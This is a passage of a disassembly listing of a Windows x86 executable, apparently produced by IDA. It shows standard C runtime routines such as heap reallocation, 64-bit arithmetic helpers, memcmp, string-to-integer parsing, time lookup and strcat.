edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_40DAAB: ; CODE XREF: sub_40DA20+80j push eax push ebx push dword ptr [esi+10h] call sub_412E82 add esp, 0Ch test eax, eax jz short loc_40DAF2 cmp eax, 0FFFFFFFFh jz short loc_40DAF8 sub [ebp+arg_0], eax add ebx, eax jmp short loc_40DAE0 ; --------------------------------------------------------------------------- loc_40DAC8: ; CODE XREF: sub_40DA20+78j push esi call sub_412DA9 cmp eax, 0FFFFFFFFh pop ecx jz short loc_40DAFC mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_40DAE0: ; CODE XREF: sub_40DA20+73j ; sub_40DA20+A6j cmp [ebp+arg_0], 0 jnz loc_40DA60 mov eax, [ebp+arg_8] loc_40DAED: ; CODE XREF: sub_40DA20+1Fj ; sub_40DA20+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40DAF2: ; CODE XREF: sub_40DA20+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_40DAFC ; --------------------------------------------------------------------------- loc_40DAF8: ; CODE XREF: sub_40DA20+9Fj or dword ptr [esi+0Ch], 20h loc_40DAFC: ; CODE XREF: sub_40DA20+B2j ; sub_40DA20+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_40DAED sub_40DA20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB08 proc near ; CODE XREF: sub_40327E+2Cp ; sub_40D7A3+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_40DB23 push [ebp+arg_4] call sub_40CCCF pop ecx jmp loc_40DDA3 ; --------------------------------------------------------------------------- loc_40DB23: ; CODE XREF: sub_40DB08+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_40DB38 push [ebp+arg_0] call sub_40CD81 pop ecx jmp loc_40DDA1 ; --------------------------------------------------------------------------- loc_40DB38: ; CODE XREF: sub_40DB08+20j mov eax, dword_483428 cmp eax, 3 jnz loc_40DC48 loc_40DB46: ; CODE XREF: sub_40DB08+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_40DC24 push [ebp+arg_0] call sub_4102C8 mov ebx, eax pop ecx test ebx, ebx jz loc_40DBFF cmp esi, dword_483420 ja short loc_40DBB8 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_410AD1 add esp, 0Ch test eax, eax jnz short loc_40DBB4 push esi call sub_41061C mov edi, eax pop ecx test edi, edi jz short loc_40DBB8 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_40DB98 mov eax, esi loc_40DB98: ; CODE XREF: sub_40DB08+8Cj push eax push ebx push edi call near ptr sub_40C820 push ebx call sub_4102C8 push [ebp+arg_0] mov ebx, eax push ebx call sub_4102F3 add esp, 18h loc_40DBB4: ; CODE XREF: sub_40DB08+74j test edi, edi jnz short loc_40DBFB loc_40DBB8: ; CODE XREF: sub_40DB08+62j ; sub_40DB08+81j test esi, esi jnz short loc_40DBBF push 1 pop esi loc_40DBBF: ; CODE XREF: sub_40DB08+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_483424 call dword_418110 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_40DBFB mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_40DBE7 mov eax, esi loc_40DBE7: ; CODE XREF: sub_40DB08+DBj push eax push ecx push edi call near ptr sub_40C820 push [ebp+arg_0] push ebx call sub_4102F3 add esp, 14h loc_40DBFB: ; CODE XREF: sub_40DB08+AEj ; sub_40DB08+D0j test ebx, ebx jnz short loc_40DC20 loc_40DBFF: ; CODE XREF: sub_40DB08+56j test esi, esi jnz short loc_40DC06 push 1 pop esi loc_40DC06: ; CODE XREF: sub_40DB08+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_483424 call dword_41811C ; RtlReAllocateHeap mov edi, eax loc_40DC20: ; CODE XREF: sub_40DB08+F5j test edi, edi jnz short loc_40DC41 loc_40DC24: ; CODE XREF: sub_40DB08+43j cmp dword_481E14, 0 jz short loc_40DC41 push esi call sub_410093 test eax, eax pop ecx jnz loc_40DB46 jmp loc_40DDA1 ; --------------------------------------------------------------------------- loc_40DC41: ; CODE XREF: sub_40DB08+11Aj ; sub_40DB08+123j ... mov eax, edi jmp loc_40DDA3 ; --------------------------------------------------------------------------- loc_40DC48: ; CODE XREF: sub_40DB08+38j cmp eax, 2 jnz loc_40DD63 cmp esi, 0FFFFFFE0h ja short loc_40DC65 test esi, esi jbe short loc_40DC62 add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_40DC65 ; --------------------------------------------------------------------------- loc_40DC62: ; CODE XREF: sub_40DB08+150j push 10h pop esi loc_40DC65: ; CODE XREF: sub_40DB08+14Cj ; sub_40DB08+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_40DD45 lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_411023 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_40DD29 cmp esi, dword_421CB4 jnb short loc_40DCED mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_4113EB add esp, 10h test eax, eax jz short loc_40DCB3 mov edi, [ebp+arg_0] jmp short loc_40DCE5 ; --------------------------------------------------------------------------- loc_40DCB3: ; CODE XREF: sub_40DB08+1A4j push edi call sub_4110BF mov edi, eax pop ecx test edi, edi jz short loc_40DCED movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_40DCCC mov eax, esi loc_40DCCC: ; CODE XREF: sub_40DB08+1C0j push eax push [ebp+arg_0] push edi call near ptr sub_40C820 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41107A add esp, 18h loc_40DCE5: ; CODE XREF: sub_40DB08+1A9j test edi, edi jnz loc_40DC41 loc_40DCED: ; CODE XREF: sub_40DB08+18Bj ; sub_40DB08+1B6j push esi push 0 push dword_483424 call dword_418110 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_40DD45 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_40DD0E mov eax, esi loc_40DD0E: ; CODE XREF: sub_40DB08+202j push eax push [ebp+arg_0] push edi call near ptr sub_40C820 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41107A add esp, 18h jmp short loc_40DD3D ; --------------------------------------------------------------------------- loc_40DD29: ; CODE XREF: sub_40DB08+17Fj push esi push [ebp+arg_0] push 0 push dword_483424 call dword_41811C ; RtlReAllocateHeap mov edi, eax loc_40DD3D: ; CODE XREF: sub_40DB08+21Fj test edi, edi jnz loc_40DC41 loc_40DD45: ; CODE XREF: sub_40DB08+162j ; sub_40DB08+1F8j cmp dword_481E14, 0 jz loc_40DC41 push esi call sub_410093 test eax, eax pop ecx jnz loc_40DC65 jmp short loc_40DDA1 ; --------------------------------------------------------------------------- loc_40DD63: ; CODE XREF: sub_40DB08+143j ; sub_40DB08+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_40DD8D test esi, esi jnz short loc_40DD71 push 1 pop esi loc_40DD71: ; CODE XREF: sub_40DB08+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_483424 call dword_41811C ; RtlReAllocateHeap test eax, eax jnz short loc_40DDA3 loc_40DD8D: ; CODE XREF: sub_40DB08+260j cmp dword_481E14, 0 jz short loc_40DDA3 push esi call sub_410093 test eax, eax pop ecx jnz short loc_40DD63 loc_40DDA1: ; CODE XREF: sub_40DB08+2Bj ; sub_40DB08+134j ... xor eax, eax loc_40DDA3: ; CODE XREF: sub_40DB08+16j ; sub_40DB08+13Bj ... pop edi pop esi pop ebx leave retn sub_40DB08 endp ; =============== S U B R O U T I N E ======================================= sub_40DDA8 proc near ; CODE XREF: sub_40DDC8+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_4131E8 test eax, eax jnz short loc_40DDB2 retn ; --------------------------------------------------------------------------- loc_40DDB2: ; CODE XREF: sub_40DDA8+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_413078 add esp, 10h retn sub_40DDA8 endp ; =============== S U B R O U T I N E ======================================= sub_40DDC8 proc near ; CODE XREF: sub_40327E+18p ; sub_404475+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_40DDA8 add esp, 0Ch retn sub_40DDC8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40DDE0 proc near ; CODE XREF: sub_40B3F5+11Bp ; sub_40F5E2+7F8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_40DDF9 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_40DDF9: ; CODE XREF: sub_40DDE0+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_40DDE0 endp ; =============== S U B R O U T I N E ======================================= sub_40DE14 proc near ; CODE XREF: sub_4037EA+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call dword_4180C0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_40DE34 call dword_418044 ; RtlGetLastWin32Error push eax call sub_413260 pop ecx loc_40DE30: ; CODE XREF: sub_40DE14+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40DE34: ; CODE XREF: sub_40DE14+Dj test al, 1 jz short loc_40DE55 test [esp+arg_4], 2 jz short loc_40DE55 mov dword_481DBC, 0Dh mov dword_481DC0, 5 jmp short loc_40DE30 ; --------------------------------------------------------------------------- loc_40DE55: ; CODE XREF: sub_40DE14+22j ; sub_40DE14+29j xor eax, eax retn sub_40DE14 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40DE60 proc near ; CODE XREF: sub_403804+3Fp ; sub_40B751+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_40DE82 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_40DEC3 ; --------------------------------------------------------------------------- loc_40DE82: ; CODE XREF: sub_40DE60+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_40DE90: ; CODE XREF: sub_40DE60+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_40DE90 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_40DEBE cmp edx, [esp+8+arg_4] ja short loc_40DEBE jb short loc_40DEBF cmp eax, [esp+8+arg_0] jbe short loc_40DEBF loc_40DEBE: ; CODE XREF: sub_40DE60+4Ej ; sub_40DE60+54j dec esi loc_40DEBF: ; CODE XREF: sub_40DE60+56j ; sub_40DE60+5Cj xor edx, edx mov eax, esi loc_40DEC3: ; CODE XREF: sub_40DE60+20j pop esi pop ebx retn 10h sub_40DE60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40DED0 proc near ; CODE XREF: sub_403804+2Dp ; sub_40B751+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_40DEF1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_40DF41 ; --------------------------------------------------------------------------- loc_40DEF1: ; CODE XREF: sub_40DED0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_40DEFF: ; CODE XREF: sub_40DED0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_40DEFF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_40DF2A cmp edx, [esp+4+arg_4] ja short loc_40DF2A jb short loc_40DF32 cmp eax, [esp+4+arg_0] jbe short loc_40DF32 loc_40DF2A: ; CODE XREF: sub_40DED0+4Aj ; sub_40DED0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_40DF32: ; CODE XREF: sub_40DED0+52j ; sub_40DED0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_40DF41: ; CODE XREF: sub_40DED0+1Fj pop ebx retn 10h sub_40DED0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40DF50 proc near ; CODE XREF: sub_403913+5Fp ; sub_403913+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_40DF71 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_40DF71: ; CODE XREF: sub_40DF50+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_40DF8D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_40DF8D: ; CODE XREF: sub_40DF50+27j or eax, eax jnz short loc_40DFA9 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_40DFEA ; --------------------------------------------------------------------------- loc_40DFA9: ; CODE XREF: sub_40DF50+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_40DFB7: ; CODE XREF: sub_40DF50+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_40DFB7 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_40DFE5 cmp edx, [esp+0Ch+arg_4] ja short loc_40DFE5 jb short loc_40DFE6 cmp eax, [esp+0Ch+arg_0] jbe short loc_40DFE6 loc_40DFE5: ; CODE XREF: sub_40DF50+85j ; sub_40DF50+8Bj dec esi loc_40DFE6: ; CODE XREF: sub_40DF50+8Dj ; sub_40DF50+93j xor edx, edx mov eax, esi loc_40DFEA: ; CODE XREF: sub_40DF50+57j dec edi jnz short loc_40DFF4 neg edx neg eax sbb edx, 0 loc_40DFF4: ; CODE XREF: sub_40DF50+9Bj pop ebx pop esi pop edi retn 10h sub_40DF50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40E000 proc near ; CODE XREF: sub_403C6B+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_40E04C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_40E04D test eax, 1 jz short loc_40E02D mov cl, [esi] cmp cl, [edi] jnz short loc_40E07A inc esi inc edi dec eax jz short loc_40E04A loc_40E02D: ; CODE XREF: sub_40E000+20j ; sub_40E000+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_40E07A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_40E07A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_40E02D loc_40E04A: ; CODE XREF: sub_40E000+2Bj ; sub_40E000+84j pop edi pop esi locret_40E04C: ; CODE XREF: sub_40E000+6j retn ; --------------------------------------------------------------------------- loc_40E04D: ; CODE XREF: sub_40E000+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_40E082 repe cmpsd jz short loc_40E082 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_40E075 cmp ch, dh jnz short loc_40E075 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_40E075 cmp ch, dh loc_40E075: ; CODE XREF: sub_40E000+63j ; sub_40E000+67j ... mov eax, 0 loc_40E07A: ; CODE XREF: sub_40E000+26j ; sub_40E000+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_40E082: ; CODE XREF: sub_40E000+55j ; sub_40E000+59j test eax, eax jz short loc_40E04A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_40E075 dec eax jz short loc_40E0A9 cmp dh, ch jnz short loc_40E075 dec eax jz short loc_40E0A9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_40E075 dec eax loc_40E0A9: ; CODE XREF: sub_40E000+8Fj ; sub_40E000+96j pop edi pop esi retn sub_40E000 endp ; =============== S U B R O U T I N E ======================================= sub_40E0AC proc near ; CODE XREF: sub_4100DB+11Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_40E0C3 add esp, 10h retn sub_40E0AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E0C3 proc near ; CODE XREF: sub_40E0AC+Ep ; sub_40E2CB+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_40E0DB: ; CODE XREF: sub_40E0C3+46j cmp dword_422004, 1 jle short loc_40E0F3 movzx eax, bl push 8 push eax call sub_412B49 pop ecx pop ecx jmp short loc_40E102 ; --------------------------------------------------------------------------- loc_40E0F3: ; CODE XREF: sub_40E0C3+1Fj mov ecx, off_421DF8 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_40E102: ; CODE XREF: sub_40E0C3+2Ej test eax, eax jz short loc_40E10B mov bl, [esi] inc esi jmp short loc_40E0DB ; --------------------------------------------------------------------------- loc_40E10B: ; CODE XREF: sub_40E0C3+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_40E119 or [ebp+arg_C], 2 jmp short loc_40E11E ; --------------------------------------------------------------------------- loc_40E119: ; CODE XREF: sub_40E0C3+4Ej cmp bl, 2Bh jnz short loc_40E124 loc_40E11E: ; CODE XREF: sub_40E0C3+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_40E124: ; CODE XREF: sub_40E0C3+59j mov eax, [ebp+arg_8] test eax, eax jl loc_40E2BB cmp eax, 1 jz loc_40E2BB cmp eax, 24h jg loc_40E2BB push 10h test eax, eax pop ecx jnz short loc_40E16C cmp bl, 30h jz short loc_40E156 mov [ebp+arg_8], 0Ah jmp short loc_40E188 ; --------------------------------------------------------------------------- loc_40E156: ; CODE XREF: sub_40E0C3+88j mov al, [esi] cmp al, 78h jz short loc_40E169 cmp al, 58h jz short loc_40E169 mov [ebp+arg_8], 8 jmp short loc_40E188 ; --------------------------------------------------------------------------- loc_40E169: ; CODE XREF: sub_40E0C3+97j ; sub_40E0C3+9Bj mov [ebp+arg_8], ecx loc_40E16C: ; CODE XREF: sub_40E0C3+83j cmp [ebp+arg_8], ecx jnz short loc_40E188 cmp bl, 30h jnz short loc_40E188 mov al, [esi] cmp al, 78h jz short loc_40E180 cmp al, 58h jnz short loc_40E188 loc_40E180: ; CODE XREF: sub_40E0C3+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_40E188: ; CODE XREF: sub_40E0C3+91j ; sub_40E0C3+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_40E198: ; CODE XREF: sub_40E0C3+16Cj cmp dword_422004, 1 movzx esi, bl jle short loc_40E1B0 push 4 push esi call sub_412B49 pop ecx pop ecx jmp short loc_40E1BB ; --------------------------------------------------------------------------- loc_40E1B0: ; CODE XREF: sub_40E0C3+DFj mov eax, off_421DF8 mov al, [eax+esi*2] and eax, 4 loc_40E1BB: ; CODE XREF: sub_40E0C3+EBj test eax, eax jz short loc_40E1C7 movsx ecx, bl sub ecx, 30h jmp short loc_40E1F9 ; --------------------------------------------------------------------------- loc_40E1C7: ; CODE XREF: sub_40E0C3+FAj cmp dword_422004, 1 jle short loc_40E1DB push edi push esi call sub_412B49 pop ecx pop ecx jmp short loc_40E1E6 ; --------------------------------------------------------------------------- loc_40E1DB: ; CODE XREF: sub_40E0C3+10Bj mov eax, off_421DF8 mov ax, [eax+esi*2] and eax, edi loc_40E1E6: ; CODE XREF: sub_40E0C3+116j test eax, eax jz short loc_40E234 movsx eax, bl push eax call sub_4132C7 pop ecx mov ecx, eax sub ecx, 37h loc_40E1F9: ; CODE XREF: sub_40E0C3+102j cmp ecx, [ebp+arg_8] jnb short loc_40E234 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_40E21E jnz short loc_40E218 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_40E21E loc_40E218: ; CODE XREF: sub_40E0C3+147j or [ebp+arg_C], 4 jmp short loc_40E227 ; --------------------------------------------------------------------------- loc_40E21E: ; CODE XREF: sub_40E0C3+145j ; sub_40E0C3+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_40E227: ; CODE XREF: sub_40E0C3+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_40E198 ; --------------------------------------------------------------------------- loc_40E234: ; CODE XREF: sub_40E0C3+125j ; sub_40E0C3+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_40E252 test edx, edx jz short loc_40E24C mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_40E24C: ; CODE XREF: sub_40E0C3+181j and [ebp+var_8], 0 jmp short loc_40E29F ; --------------------------------------------------------------------------- loc_40E252: ; CODE XREF: sub_40E0C3+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_40E278 test cl, 1 jnz short loc_40E29F and ecx, 2 jz short loc_40E26F cmp [ebp+var_8], 80000000h ja short loc_40E278 loc_40E26F: ; CODE XREF: sub_40E0C3+1A1j test ecx, ecx jnz short loc_40E29F cmp [ebp+var_8], eax jbe short loc_40E29F loc_40E278: ; CODE XREF: sub_40E0C3+197j ; sub_40E0C3+1AAj test byte ptr [ebp+arg_C], 1 mov dword_481DBC, 22h jz short loc_40E28E or [ebp+var_8], 0FFFFFFFFh jmp short loc_40E29F ; --------------------------------------------------------------------------- loc_40E28E: ; CODE XREF: sub_40E0C3+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_40E29F: ; CODE XREF: sub_40E0C3+18Dj ; sub_40E0C3+19Cj ... test edx, edx jz short loc_40E2A8 mov eax, [ebp+var_4] mov [edx], eax loc_40E2A8: ; CODE XREF: sub_40E0C3+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_40E2B6 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_40E2B6: ; CODE XREF: sub_40E0C3+1E9j mov eax, [ebp+var_8] jmp short loc_40E2C6 ; --------------------------------------------------------------------------- loc_40E2BB: ; CODE XREF: sub_40E0C3+66j ; sub_40E0C3+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_40E2C4 mov [eax], edi loc_40E2C4: ; CODE XREF: sub_40E0C3+1FDj xor eax, eax loc_40E2C6: ; CODE XREF: sub_40E0C3+1F6j pop edi pop esi pop ebx leave retn sub_40E0C3 endp ; =============== S U B R O U T I N E ======================================= sub_40E2CB proc near ; CODE XREF: sub_403E11+4A6p ; sub_4077FD+2166p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_40E0C3 add esp, 10h retn sub_40E2CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E2E2 proc near ; CODE XREF: sub_403E11+4Ep var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call dword_418068 ; GetLocalTime lea eax, [ebp+var_20] push eax call dword_418124 ; GetSystemTime mov ax, [ebp+var_16] cmp ax, word_481DB2 jnz short loc_40E347 mov ax, [ebp+var_18] cmp ax, word_481DB0 jnz short loc_40E347 mov ax, [ebp+var_1A] cmp ax, word_481DAE jnz short loc_40E347 mov ax, [ebp+var_1E] cmp ax, word_481DAA jnz short loc_40E347 mov ax, [ebp+var_20] cmp ax, word_481DA8 jnz short loc_40E347 mov eax, dword_481DA0 jmp short loc_40E38C ; --------------------------------------------------------------------------- loc_40E347: ; CODE XREF: sub_40E2E2+28j ; sub_40E2E2+35j ... lea eax, [ebp+var_CC] push eax call dword_418120 ; GetTimeZoneInformation cmp eax, 0FFFFFFFFh jz short loc_40E374 cmp eax, 2 jnz short loc_40E370 cmp [ebp+var_32], 0 jz short loc_40E370 cmp [ebp+var_24], 0 jz short loc_40E370 push 1 pop eax jmp short loc_40E377 ; --------------------------------------------------------------------------- loc_40E370: ; CODE XREF: sub_40E2E2+7Aj ; sub_40E2E2+81j ... xor eax, eax jmp short loc_40E377 ; --------------------------------------------------------------------------- loc_40E374: ; CODE XREF: sub_40E2E2+75j or eax, 0FFFFFFFFh loc_40E377: ; CODE XREF: sub_40E2E2+8Cj ; sub_40E2E2+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_481DA8 movsd movsd movsd movsd pop edi mov dword_481DA0, eax pop esi loc_40E38C: ; CODE XREF: sub_40E2E2+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_413393 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_40E3BC mov [ecx], eax locret_40E3BC: ; CODE XREF: sub_40E2E2+D6j leave retn sub_40E2E2 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40E3C0 proc near ; CODE XREF: sub_4051D9+75p ; sub_4077FD+40Cp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_40E431 sub_40E3C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40E3D0 proc near ; CODE XREF: sub_4051D9+6Ep ; sub_4077FD+415p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_40E3EC loc_40E3DD: ; CODE XREF: sub_40E3D0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_40E41F test ecx, 3 jnz short loc_40E3DD loc_40E3EC: ; CODE XREF: sub_40E3D0+Bj ; sub_40E3D0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_40E3EC mov eax, [ecx-4] test al, al jz short loc_40E42E test ah, ah jz short loc_40E429 test eax, 0FF0000h jz short loc_40E424 test eax, 0FF000000h jz short loc_40E41F jmp short loc_40E3EC ; --------------------------------------------------------------------------- loc_40E41F: ; CODE XREF: sub_40E3D0+12j ; sub_40E3D0+4Bj lea edi, [ecx-1] jmp short loc_40E431 ; --------------------------------------------------------------------------- loc_40E424: ; CODE XREF: sub_40E3D0+44j lea edi, [ecx-2] jmp short loc_40E431 ; --------------------------------------------------------------------------- loc_40E429: ; CODE XREF: sub_40E3D0+3Dj lea edi, [ecx-3] jmp short loc_40E431 ; --------------------------------------------------------------------------- loc_40E42E: ; CODE XREF: sub_40E3D0+39j lea edi, [ecx-4] loc_40E431: ; CODE XREF: sub_40E3C0+5j ; sub_40E3D0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_40E456 loc_40E43D: ; CODE XREF: sub_40E3D0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_40E4A8 mov [edi], dl inc 